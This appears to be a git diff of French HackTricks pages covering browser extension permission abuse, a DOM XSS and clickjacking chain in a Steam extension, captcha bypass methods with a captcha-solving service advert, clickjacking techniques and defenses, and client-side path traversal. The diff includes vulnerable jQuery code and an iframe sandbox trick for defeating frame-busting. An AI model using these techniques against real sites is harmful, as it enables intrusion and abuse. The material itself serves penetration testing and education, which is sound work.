En général, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit.
|
||||
|
||||
Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou [au contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'** [**entrée des permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit.
|
||||
Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou au [contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'entrée des** [**permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit.
|
||||
|
||||
Ajouter le mot-clé **`history`** à l'[entrée des permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web.
|
||||
Ajouter le mot-clé **`history`** à l'entrée des [permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web.
|
||||
|
||||
La **permission `bookmarks`** a un potentiel d'abus similaire, celle-ci permet de **lire tous les favoris via l'** [**API des favoris**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||
|
||||
|
@ -113,11 +113,11 @@ Vous pouvez trouver la [**liste complète des permissions qu'une extension de na
|
|||
|
||||
## Prévention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes de permissions excessives. Un cas où une extension de navigateur a outrepassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions.
|
||||
La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes excessives de permissions. Un cas où une extension de navigateur a dépassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions.
|
||||
|
||||
Les navigateurs pourraient également limiter davantage les abus des privilèges des extensions. Par exemple, les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisées pour l'enregistrement d'écran, sont conçues pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme en cliquant sur l'icône de l'extension, tandis que desktopCapture nécessite une confirmation de l'utilisateur pour enregistrer la fenêtre, empêchant ainsi les activités d'enregistrement clandestines.
|
||||
|
||||
Cependant, le renforcement des mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate.
|
||||
Cependant, renforcer les mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate.
|
||||
|
||||
## **Références**
|
||||
|
||||
|
@ -133,7 +133,7 @@ D'autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# BrowExt - Exemple de XSS
|
||||
# BrowExt - Exemple XSS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -65,7 +65,7 @@ document.body.append(newFrame);
|
|||
|
||||
Cet exemple a été tiré du [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||||
|
||||
Le problème principal découle d'une vulnérabilité de type Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous:
|
||||
Le problème principal découle d'une vulnérabilité de Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous:
|
||||
```javascript
|
||||
$('#btAdd').on('click', function() {
|
||||
var bookmarkName = $('#txtName').val();
|
||||
|
@ -82,11 +82,11 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
|
|||
persistData();
|
||||
});
|
||||
```
|
||||
Ce fragment extrait la **valeur** du champ de saisie **`txtName`** et utilise la **concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM à l'aide de la fonction `.append()` de jQuery.
|
||||
Ce extrait récupère la **valeur** du champ de saisie **`txtName`** et utilise la **concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM en utilisant la fonction `.append()` de jQuery.
|
||||
|
||||
En général, la **Politique de sécurité du contenu (CSP)** de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la **relaxation de la CSP avec 'unsafe-eval'** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour transmettre des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation reste possible.
|
||||
Généralement, la **Politique de sécurité du contenu (CSP)** de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la **relaxation de la CSP avec ‘unsafe-eval’** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour transmettre des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation reste possible.
|
||||
|
||||
Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton "Ajouter".
|
||||
Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton “Ajouter”.
|
||||
|
||||
Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de **clickjacking** est exploitée. Le manifeste de l'extension Chrome présente une politique étendue `web_accessible_resources` :
|
||||
```json
|
||||
|
@ -98,7 +98,7 @@ Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de **clickja
|
|||
[...]
|
||||
],
|
||||
```
|
||||
Notamment, la page **`/html/bookmarks.html`** est sujette au cadrage, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la recouvrant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.
|
||||
Notamment, la page **`/html/bookmarks.html`** est sujette au cadrage, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la superposant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -114,7 +114,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,18 +8,18 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Contournement de Captcha
|
||||
|
||||
Pour **contourner** le captcha lors des tests de **serveur** et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être utilisées. L'objectif n'est pas de compromettre la sécurité, mais de rationaliser le processus de test. Voici une liste complète des stratégies :
|
||||
Pour **contourner** le captcha lors des tests de serveur et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être utilisées. L'objectif n'est pas de compromettre la sécurité, mais de rationaliser le processus de test. Voici une liste complète des stratégies :
|
||||
|
||||
1. **Manipulation des Paramètres** :
|
||||
* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en modifiant la méthode HTTP de POST à GET ou à d'autres verbes, et en modifiant le format des données, tel que passer de données de formulaire à JSON.
|
||||
* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en modifiant la méthode HTTP de POST à GET ou à d'autres verbes, et en modifiant le format des données, comme passer de données de formulaire à JSON.
|
||||
* **Envoyer un Captcha Vide** : Envoyez la requête avec le paramètre captcha présent mais laissé vide.
|
||||
|
||||
2. **Extraction et Réutilisation des Valeurs** :
|
||||
|
@ -32,7 +32,7 @@ Pour **contourner** le captcha lors des tests de **serveur** et automatiser les
|
|||
* **Captcha Mathématique** : Si le captcha implique des opérations mathématiques, automatisez le processus de calcul.
|
||||
* **Reconnaissance d'Image** :
|
||||
* Pour les captchas qui nécessitent la lecture de caractères à partir d'une image, déterminez manuellement ou programmation le nombre total d'images uniques. Si l'ensemble est limité, vous pouvez identifier chaque image par son hachage MD5.
|
||||
* Utilisez des outils de Reconnaissance Optique de Caractères (OCR) comme [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) pour automatiser la lecture de caractères à partir d'images.
|
||||
* Utilisez des outils de reconnaissance optique de caractères (OCR) comme [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) pour automatiser la lecture de caractères à partir d'images.
|
||||
|
||||
4. **Techniques Additionnelles** :
|
||||
* **Test de Limitation de Taux** : Vérifiez si l'application limite le nombre de tentatives ou de soumissions dans un laps de temps donné et si cette limite peut être contournée ou réinitialisée.
|
||||
|
@ -48,6 +48,6 @@ Pour **contourner** le captcha lors des tests de **serveur** et automatiser les
|
|||
|
||||
Le résolveur automatique de captcha de Capsolver offre la **solution de résolution de captcha la plus abordable et rapide**. Vous pouvez rapidement l'intégrer à votre programme en utilisant son option d'intégration simple pour obtenir les meilleurs résultats en quelques secondes.
|
||||
|
||||
Avec un taux de réussite de 99,15 %, Capsolver peut **répondre à plus de 10 millions de captchas par minute**. Cela signifie que votre automatisation ou votre extraction de données aura un temps de fonctionnement de 99,99 %. Vous pouvez acheter un package de captcha si vous avez un budget important.
|
||||
Avec un taux de réussite de 99,15 %, Capsolver peut **répondre à plus de 10 millions de captchas par minute**. Cela signifie que votre automatisation ou votre extraction de données aura un temps de disponibilité de 99,99 %. Vous pouvez acheter un package de captcha si vous avez un budget important.
|
||||
|
||||
Au prix le plus bas du marché, vous pouvez obtenir une variété de solutions, y compris reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, image-to-text, captcha binance / coinmarketcap, geetest v3 / v3, et plus encore. Avec ce service, **0,1s est la vitesse la plus lente jamais mesurée**.
|
||||
|
|
|
@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -29,11 +29,11 @@ Dans une attaque de clickjacking, un **utilisateur** est **trompé** pour **cliq
|
|||
|
||||
### Astuce de préremplissage de formulaires
|
||||
|
||||
Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
||||
Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
||||
|
||||
### Remplir un formulaire avec Drag\&Drop
|
||||
### Remplir un formulaire avec le glisser-déposer
|
||||
|
||||
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **glisser-déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Charge utile de base
|
||||
```markup
|
||||
|
@ -110,10 +110,10 @@ background: #F00;
|
|||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
|
||||
Exemple :\
|
||||
_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
|
||||
\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
|
||||
Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.
|
||||
Exemple :
|
||||
_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._
|
||||
\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'utilisateur pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
|
||||
|
||||
## Stratégies pour Mitiger le Clickjacking
|
||||
|
||||
|
@ -124,16 +124,16 @@ Les scripts exécutés côté client peuvent effectuer des actions pour préveni
|
|||
* S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure.
|
||||
* Rendre tous les cadres visibles.
|
||||
* Empêcher les clics sur les cadres invisibles.
|
||||
* Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.
|
||||
* Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking.
|
||||
|
||||
Cependant, ces scripts de rupture de cadre peuvent être contournés :
|
||||
|
||||
* **Paramètres de Sécurité des Navigateurs :** Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de prise en charge de JavaScript.
|
||||
* **Attribut `sandbox` de l'iframe HTML5 :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple.
|
||||
* **Attribut HTML5 iframe `sandbox` :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple.
|
||||
```html
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Les valeurs `allow-forms` et `allow-scripts` permettent des actions dans l'iframe tout en désactivant la navigation au niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires telles que `allow-same-origin` et `allow-modals` peuvent être nécessaires, en fonction du type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles autorisations autoriser.
|
||||
Les valeurs `allow-forms` et `allow-scripts` permettent des actions dans l'iframe tout en désactivant la navigation au niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires telles que `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles autorisations autoriser.
|
||||
|
||||
### Défenses côté serveur
|
||||
|
||||
|
@ -146,9 +146,9 @@ L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la
|
|||
- `X-Frame-Options: allow-from https://trusted.com` - Seul l'URI spécifié peut encadrer la page.
|
||||
- Notez les limitations : si le navigateur ne prend pas en charge cette directive, cela pourrait ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.
|
||||
|
||||
#### Directive frame-ancestors de la stratégie de sécurité du contenu (CSP)
|
||||
#### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
|
||||
|
||||
La directive **`frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking :
|
||||
La **directive `frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking :
|
||||
|
||||
- `frame-ancestors 'none'` - Similaire à `X-Frame-Options: deny`.
|
||||
- `frame-ancestors 'self'` - Similaire à `X-Frame-Options: sameorigin`.
|
||||
|
@ -187,7 +187,7 @@ Cette politique permet les frames et les workers de la même origine (self) et d
|
|||
|
||||
#### Scripts JavaScript de rupture de frame
|
||||
|
||||
Bien que pas totalement infaillibles, les scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple :
|
||||
Bien que pas totalement infaillibles, des scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple :
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location;
|
||||
|
@ -195,7 +195,7 @@ top.location = self.location;
|
|||
```
|
||||
#### Utilisation des jetons anti-CSRF
|
||||
|
||||
* **Validation du jeton :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked.
|
||||
* **Validation des jetons :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -218,8 +218,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,7 +1,23 @@
|
|||
# Traversée de chemin côté client
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Une traversée de chemin côté client se produit lorsque vous pouvez **manipuler le chemin d'une URL** qui va être **envoyée à un utilisateur pour être visitée de manière légitime** ou qu'un utilisateur est d'une manière ou d'une autre **forcé à visiter par exemple via JS ou CSS**.
|
||||
